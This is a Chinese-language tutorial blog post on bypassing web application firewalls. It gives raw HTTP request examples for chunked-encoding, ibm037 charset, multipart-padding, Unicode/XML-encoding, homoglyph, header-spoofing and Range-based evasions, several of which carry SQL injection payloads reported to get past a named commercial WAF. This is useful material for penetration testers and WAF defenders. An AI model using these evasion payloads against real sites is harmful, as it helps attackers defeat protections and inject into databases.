对过WAF的一些认知

本问的主要从绕过WAF过程中需要注意的角色、点出发,尝试理解它们的运作,构建一个简单的知识框架。如果对本文中的任何知识点有任何反对想法或是意见、建议,请提出来,这对笔者是十分重要的,笔者也会十分感激。

首先,WAF分为非嵌入型与嵌入型,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。非嵌入型对WEB流量的解析完全是靠自身的,而嵌入型的WAF拿到的WEB数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型从web容器模块类型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强,当然,在部署维护成本方面,也是越高的。

HTTP报文包体的解析

我们先来探讨一个问题。HTTP请求的接收者在接收到该请求时,会关心哪些头部字段,以及会根据这些头部字段做出对request-body进行相应得解析处理。说实话,要搞清这些东西,最好还是查看web容器的源码,但笔者现在还没做到这一步,在这里仅能根据自身得认知提及一些头部字段。这些头部字段的关系,笔者认为可以总结为如下:

Transfer-Encoding(Content-Encoding(Content-Type(charset(data))))

Transfer-Encoding

想了解Transfer-Encoding本身的意义,请查看文章“ 它不但不会减少实体内容传输大小,甚至还会使传输变大,那它的作用是什么呢? ” ,这篇文章对理解本小节十分重要。 Apache+php对chunked类型的HTTP请求的处理太怪了。RFC2616中说明了,客户端或服务器,收到的HTTP报文中,如果同时存在chunked与Content-Length,则一定要忽略掉content-length(这一点也理所当然,很好理解),而在apache中反而不能缺少。虽然笔者没有阅读过Apache的源码,但从这一点可以推理出,Apache本身是不支持解析chunked的(对于Apache来说,由于没有解析HTTP请求chunked的代码逻辑,所以一定要从content-length中查看该报文的长度,而chunked可能是被PHP解析了的,所以存在这两个头部一定要同时存在的怪现象)。这一结论也很好地解释了一些让笔者不解的现象,如利用chuncked可以绕过安全狗Apache。 通过shodan搜索相关服务器,笔者简单测试一下,关于常见中间件、语言与chuncked的关系有如下参考:

ASPX PHP Java
Apache X Y
Nginx Y Y
IIS Y Y
Tomcat X

那关于chunked,可以有什么利用思路呢? 思路一,构造一个chunked请求体,尝试绕过WAF。其中可以涉及到利用chunked本身的一些规范、特性。 比如,假如WAF会解析chunked,但加入一些chunked的扩展,WAF就解析不了。 反过来,脑洞一下,假如WAF意识到了解析chunked时应该忽略这些扩展,那么在Tomcat下我们是不是可以利用它一下。

POST /test HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded;
Content-Length: 29
Content-Transform: chuncked

3;&user='+'1'='1&
foo
0
(CRLF)
复制代码

利用思路二,解析不一致导致的问题,Apache+PHP对客户端的请求解析十分“良好” 之前 落叶纷飞 提到的思路 利用分块传输吊打所有WAF

POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked

1
aa
0
(CRLF)
复制代码

类似还有下面这种

POST /test/2.php HTTP/1.1
Host: 192.168.17.138
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 20

9
user=root
(CRLF)
复制代码

虽然页面返回的是400,但后台都是执行成功了的。

Content-Encoding

它与Transfer-Encoding本质上的区别就是,Transfer-Encoding可以被网络中的各个实体解析并改变,而Content-Encoding在传输过程中不应该、不会被改变的。 该字段在Response中比较常见,而在Request中,可能你一辈子都很难遇到。除非运维人员对Web服务器做了相关配置,使得服务器可以识别并解析客户端Request请求的Content-Encoding 头部字段,否则Web服务默认是不会识别该字段的。笔者想尽量写得全一点,虽然这个字段看起来鸡肋、无用,但可以作为一个可能的突破测试点。

Content-Type

Web容器应该不怎么关心Content-Type这个字段,后台语言则会识别该字段并进行对应的数据解析。而我们利用该字段的话,主有从以下思路出发:后台语言会识别哪些类型的Content-Type,这些Content-Type对我们绕WAF有没有用。 PHP默认会处理application/x-www-form-urlencoded、multipart/form-data两种。而JAVA后台对于multipart/form-data类型Content-Type的识别处理,需要借助三方库或是框架,默认情况下是无法处理的,但现在一般都用框架,而框架可能默认情况下就会识别并处理这类型的请求。 后台接收到application/x-www-form-urlencoded请求的数据时,会自己解码一次,如果开发人员自己又解码一次或多次,就形成了双重编码、多重编码。 对于multipart/form-data,非嵌入型的与模块类型的WAF,都只能自己识别并解析区分字段内容,所以在这一块你可以发挥自己想象,进行各种骚操作来进行绕过,但是,你应该要确认你当前所要绕过的WAF是不是真的做了这块的内容识别。笔者的意思是说,如果它遇到这种类型Request,只是对Body内容进行全部的规则匹配,而不会解析出其中的表单内容,那你可能就没必要进行那些骚操作了。实际上,有的非嵌入型WAF就是这么“懒”。multipart/form-data的相关骚操作可以参考 Protocol-Level Evasion of Web Application Firewalls

Charset

charset是被添加在Content-Type字段后面的,用来指明消息内容所用的字符集,它也仅被后台语言所关心。

• application/x-www-form-urlencoded;charset=ibm037 
• multipart/form-data; charset=ibm037,boundary=blah 
• multipart/form-data; boundary=blah ; charset=ibm037
复制代码

JAVA的Servlet默认是接受大多数的charset的,不过正常点的程序员都会设置强制编码。 有如下示例: 后台代码

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String userName = req.getParameter("user");
        resp.getOutputStream().println("username :"+userName);
    }
复制代码

请求(Burpsui设置User Options-Character sets-Use a specific ..)

POST /test HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 25

%A4%A2%85%99=%99%96%96%A3
复制代码

输出

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 16

username :root

复制代码

至少可以支持IBM037, IBM500, cp875, and IBM1026字符集的中间件+语言的情况,可以参考下面表格:

Target QueryString POST Body & and = URL-encoding
Nginx, uWSGI - Django - Python3 :x:
Nginx, uWSGI - Django - Python2 :x: ✔ (sometimes required)
Apache Tomcat - JSP :x: :x: ✔ (sometimes required)
IIS - ASPX (v4.x) :x: ✔ (optional)
IIS - ASP classic :x: :x:
Apache/IIS - PHP :x: :x:

溢量数据

笔者当初有时在瞎想,其中想到,会不会存在URI数量过多,产生绕过呢?没想到就存在这样的一个CVE, CVE-2018-9230-OpenResty URI参数溢出漏洞

没关系,思想还在嘛,还存在很多的变形,如通过multipart/form-data的方式来发送数据量比较大的报文,但又属于正常的HTTP请求,按照道理来说,对较上层的WAF(非嵌入型、模块类型)应该会有一定杀伤力的。

下面两个例子笔者之前测试时是通过的,安全狗Apache 3.5版。

POST /test/test.php HTTP/1.1
Host: 192.168.17.138
Connection: close
Content-Type: multipart/form-data; boundary=--------2117353554
Content-Length: 6167

----------2117353554
Content-Disposition: form-data; name="test"

x*5978 (5978个x)
----------2117353554
Content-Disposition: form-data; name="user"

root' union select 1 -- 
----------2117353554--
复制代码

或者下面这种方式:

POST /test.php HTTP/1.1
Connection: close
Content-Type: multipart/form-data; boundary=123
Content-Length: 7497

(--123
Content-Disposition:form-data; name="aaa";

123)*165 重复165次以上
Content-Disposition:form-data; name="aaa";

union select 123
--123--
复制代码

还有很多种方法,比如前面放一个很大的文件,后面再跟Payload表单,是不是也可能可以。 另外笔者看到一个有趣的旧漏洞,算是扩展一下思维。

1 POST /page.asp HTTP/1.1
 2 Host: chaim
 3 Connection: Keep-Alive
 4 Content-Length: 49223
 5 [CRLF]
 6 zzz...zzz ["z" x 49152]
 7 POST /page.asp HTTP/1.0
 8 Connection: Keep-Alive
 9 Content-Length: 30
 10 [CRLF]
 11 POST /page.asp HTTP/1.0
 12 Bla: [space after the "Bla:", but no CRLF]
 13 POST /page.asp?cmd.exe HTTP/1.0
 14 Connection: Keep-Alive
 15 [CRLF] 
复制代码

IIS/5.0在处理非 application/x-www-form-urlencoded 类型content-type的POST请求时,49152字节后面的数据会被截断。上面的HTTP请求,IIS认为1-6为一个请求,7-12为一个请求,13-5为一个请求;而WAF认为1-10,11-15各为一个请求, POST /page.asp?cmd.exe HTTP/1.0 被WAF认为是头部字段中的数据,并不会匹配到拦截规则,所以该请求成功绕过WAF。

HTTP协议兼容性

HTTP请求行种的空格

在RFC2616文档中,有说到,HTTP头部字段的构造。

SP             = <US-ASCII SP, space (32)>
HT             = <US-ASCII HT, horizontal-tab (9)>
LWS            = [CRLF] 1*( SP | HT )
     message-header = field-name ":" [ field-value ]
       field-name     = token
       field-value    = *( field-content | LWS )
       field-content  = <the OCTETs making up the field-value
                        and consisting of either *TEXT or combinations
                        of token, separators, and quoted-string>
复制代码

简单点来说就是

Test-Header: Test
等效于(空格替换成\x09)
Test-Header:	Test
复制代码

但笔者发现,在请求行中,你也可以这样做(即便RFC2616 5.1节中指明了请求行中只能用空格)。于是,将一个HTTP/1.1的请求变换成如下:

OPTIONS	*	HTTP/1.1
Host:	dest.com


复制代码

看着可能不明显,但其中的SP都被笔者替换成了HT,而且,SP、HT可以是1到多个,头部字段中SP 、HT可以是零个。常见的web容器都是接受这种HTTP请求的。

HTTP 0.9+Pipelining

关于这条,相关细节可以到 WAF Bypass Techniques ,笔者就不细讲了。发明作者说它用这条技巧来绕过WAF(非嵌入型)对服务器上的一些目录的访问限制。 根据本文前面所说,可以知道,对于嵌入型一类的WAF,是根本不可能利用pipelining来进行绕过的——嵌入型WAF获得的数据的来源是Web容器,web容器识别出这是两个包,对于WAF也是两个包。 不过这上面的两点感觉对WAF都没啥用,snort都能识别,那基本上所有WAF厂商都能识别吧。不过知道多点不亏,上面第一点在笔者某次测试中还是体现了一点价值。

Websocket、HTP/2.0

现在越来越多的Web容器都开始支持比较高级的协议了,正常来说,这块不可能不出现新的安全问题的,笔者之前简单查看了HTTP/2.0 与Websocket的主体内容,未发现有什么利用点,后面也未花时间去研究,写在这里也算给自己一个备忘录。

高层数据

在一个HTTP请求中,诸如json、base64这样的数据,是由后台代码调用相应的解析库来进行解析的,即便是同结构,不同语言不同库也可能存在一些差异。

base64

PHP解析Base64沿袭了其一贯“弱”风格,即便你的字符串含有PHP非法字符串,它也可以成功解析并处理。

测试代码:
echo base64_decode($_POST['test']);

POST提交
test=M#TIzNA==

页面返回
1234
复制代码

Unicode JSON

在HTTP请求体中传递JSON数据,一般情况下如果网站用的框架,则Content-Type需要指定application/json类型;如果用了三方库,如fastjson,content-type随意即可。 可以将尝试将key或vaule替换成 \uxxxx 的unicode字符。

POST /json.do HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/json
Content-Length: 68

{"\u006e\u0061\u006d\u0065":"'\u0072\u006f\u006f\u0074","age":"18"} 
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 44

User{name=''root', age=18, contactInfo=null}
复制代码

这里的unicode关联到JSON,只是一个实际的场景,但可以自己发挥。

实体编码 XML

soap之类的协议应该也属于XML类,可以利用这类标记语言的实体编码特性。另外发送请求前考虑一下Content-Type类型。

POST /xml.do HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/xml
Content-Length: 93

<?xml version="1.0" ?>
<admin>
<name>"'    </name>
</admin>
复制代码
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 31

Admin{name='"'root', age=null}
复制代码

八进制

还有一个字符表示方式,八进制,如 # 十六进制的值为 23 ,八进制表示为 \43 ,也是一个可能的点,如在OGNL中就可以使用。

同形字

sqlmap的tamper脚本中有个脚本,将 ' 替换为 %ef%bc%87 ,据说是UTF-8全角字符,但是这种说明没有根本地解释这个问题,笔者也不知道什么环境下产生这种利用条件。直到某一天,看到一篇文章,它们之间似乎存在某在联系—— Unicode同形字引起的安全问题 ,现阶段笔者也只能这样认知这个tamper脚本。 有个趣的网站,它已经整理好了, www.irongeek.com/homoglyph-a…

Char 同形
ᅟ ᅠ                     ㅤ
! ! ǃ !
" " ״ ″ "
$ $ $
% % %
& & &
' ' '
( ( ﹝ (
) ) ﹞ )
* * ⁎ *
+ + +
, , ‚ ,
- - ‐ -
. . ٠ ۔ ܁ ܂ ․ ‧ 。 . 。
/ / ̸ ⁄ ∕ ╱ ⫻ ⫽ / ノ
0 0 O o Ο ο О о Օ O o
1 1 I ا 1
2 2 2
3 3 3
4 4 4
5 5 5
6 6 6
7 7 7
8 8 Ց 8
9 9 9

命令、SQL语句等

命令注入方面可以利用bash的特性,SQL注入则利用数据库SQL语法特性,各大知名安全网站已经有足够的资料供大家参考,要讲又需要花费时间,讲不全感觉也没意义,笔者就不描述了。

容器语言特性

IIS %,在参数中,如果 % 后面不是符合URL编码十六进制值,就会忽略该 % 符合,如id=%%20,等价于id=%20。 IIS asp 中的GET请求方式提交Body表单,后台可接收。 IIS asp的参数污染中,通过 , 逗号连接污染参数。 Tomcat 路径跳转中允许 ; 符号, /..;/..;/ 。 PHP $_REQUEST可以接收cookie中的参数。 这块想不到更多的了...

匹配缓冲区大小固定

思考一下,WAF拿到一个数据之后,在对其进行内容匹配时,是不是会将其放入一个固定大小的内存空间中,这个空间的大小是有限的。假设HTTP Request的body部分大小为2333字节,该内存大小为2000字节,那么其核心引擎在做内容匹配时,是不是先处理2000字节,在处理剩下的333字节。至于如何利用,可以发挥自己的想象。

白名单

一个是利用URL中的白名单,如图片、JS等静态资源文件。 还可以尝试利用下面这些头部字段

X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
复制代码

另外可以尝试修改Host头部字段。

输出角度

前面所讲的都是输入角度,这里我们谈谈输出角度。我们在Request中发送Pyaload,会希望从Response的回显或基于时间这些信息通道来获取Payload执行成功后的相关信息。如果存在某种WAF,检测到Response中的回显数据存在敏感信息,Resonse响应包可能就被阻断掉了。(当然,除了基本的回显数据通道,还有基于时间的数据通道)

OOB

遇到这种情况,应对的方法之一就是使用OOB思想来绕过。如XXE OOB、SQL注入OOB、命令注入OOB,等等。

Range

假如页面可能有敏感数据返回,而当前攻击场景又利用不了OOB,你可以尝试使用Range方法来绕过防火墙。 普通请求与页面结果:

POST /test/test.php HTTP/1.1
Host: 192.168.17.138
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Range: bytes=10-30

user=root
HTTP/1.1 200 OK
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
Content-Length: 42
Content-Type: text/html

SELECT password from user where user = ''
复制代码

添加了range,请求获取返回页面0到10的数据:

POST /test/test.php HTTP/1.1
Host: 192.168.17.138
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Range: bytes=0-10

user=root
复制代码
HTTP/1.1 206 Partial Content
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
Content-Range: bytes 0-10/394
Content-Length: 11
Content-Type: text/html

SELECT pass
复制代码

添加了range,请求获取返回页面10到30的数据:

POST /test/test.php HTTP/1.1
Host: 192.168.17.138
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Range: bytes=10-30

user=root
复制代码
HTTP/1.1 206 Partial Content
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
Content-Range: bytes 10-30/394
Content-Length: 21
Content-Type: text/html

sword from user where
复制代码

Range方式应该是所有Web容器默认支持的,这个东西还是有点意思,有点作用。

其他参考

传输层

看CVE时发现的,3whs bypass ids

Attack scenario TCP flow scheme:
Client    ->  [SYN] [Seq=0 Ack= 0]           ->  Evil Server
Client    <-  [SYN, ACK] [Seq=0 Ack= 1]      <-  Evil Server
Client    <-  [PSH, ACK] [Seq=1 Ack= 1]      <-  Evil Server  # Injection before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack= 1]     <-  Evil Server
Client    ->  [ACK] [Seq=1 Ack= 84]          ->  Evil Server
Client    ->  [PSH, ACK] [Seq=1 Ack= 84]     ->  Evil Server
复制代码

在三次握手未完成之前,服务端返回了数据,可以造成HTTP流量检测的绕过,该种攻击场景可能是被用于挂马、钓鱼之类的。在链接中作者给出了对应的PCAP包,可以下载来看看,算是涨见识。 在传输层这里,还有一些简单而具备实际意义的操作,比如将一个TCP报文分片成很多很多份,一份几个字节,十几个字节,对端服务器能正常接收,而对非嵌入型的WAF就是一个考验;还有,我们知道,TCP是可靠的协议,那么我们再将这些报文进行一个合适的乱序,那么是否也可行。

SSL层

对于非嵌入型WAF,在解析SSL数据时,需要该SSL通信端服务器的密钥(非对称)。客户端在与Web服务器进行HTTPS通信时,协商SSL的加密方式可以有很多种,如果其中有一种加密方式恰好是WAF无法识别的,那么WAF就只能睁眼瞎了。 Bypassing Web-Application Firewalls by abusing SSL/TLS

DOS

笔者之前了解到,中小公司的防火墙的流量处理能力是很弱的,所以DOS确实可行,算是最后的方案。

结语

本文的模型都是建立在笔者所见所得之上的,另外也开了一些脑洞进行猜想,如有错误欢迎指正。文章中的一些点,笔者并没有在文中详解,但通过参考资料可以很好地理解每一点。 希望对大家有所裨益,本文也算对之前所学有所交代吧.

其他说明,RFC7230对文章中所说的RFC2616的描述未发生修改。 本文参考资料汇总如下

RCF2616 tools.ietf.org/html/rfc261…

Bypassing Web-Application Firewalls by abusing SSL/TLS 0x09al.github.io/waf/bypass/…

WAF Bypass Techniques 2018.appsec.eu/presos/Hack…

Application Security Weekly: Reverse Proxies Using Weblogic, Tomcat, and Nginx www.acunetix.com/blog/web-se…

Protocol-Level Evasion of Web Application Firewalls media.blackhat.com/bh-us-12/Br…

Chunked HTTP transfer encoding swende.se/blog/HTTPCh…

Impedance Mismatch and Base64 www.trustwave.com/en-us/resou…

HTTP 协议中的 Transfer-Encoding imququ.com/post/transf…

浅谈json参数解析对waf绕过的影响xz.aliyun.com/t/306

3whs bypass ids www.exploit-db.com/exploits/44…

Web Application Firewall (WAF) Evasion Techniques medium.com/secjuice/wa…

BypassWAF新思路(白名单) www.chainnews.com/articles/77…

利用分块传输吊打所有WAF www.anquanke.com/post/id/169…

HTTP Request Smuggling www.cgisecurity.com/lib/HTTP-Re…

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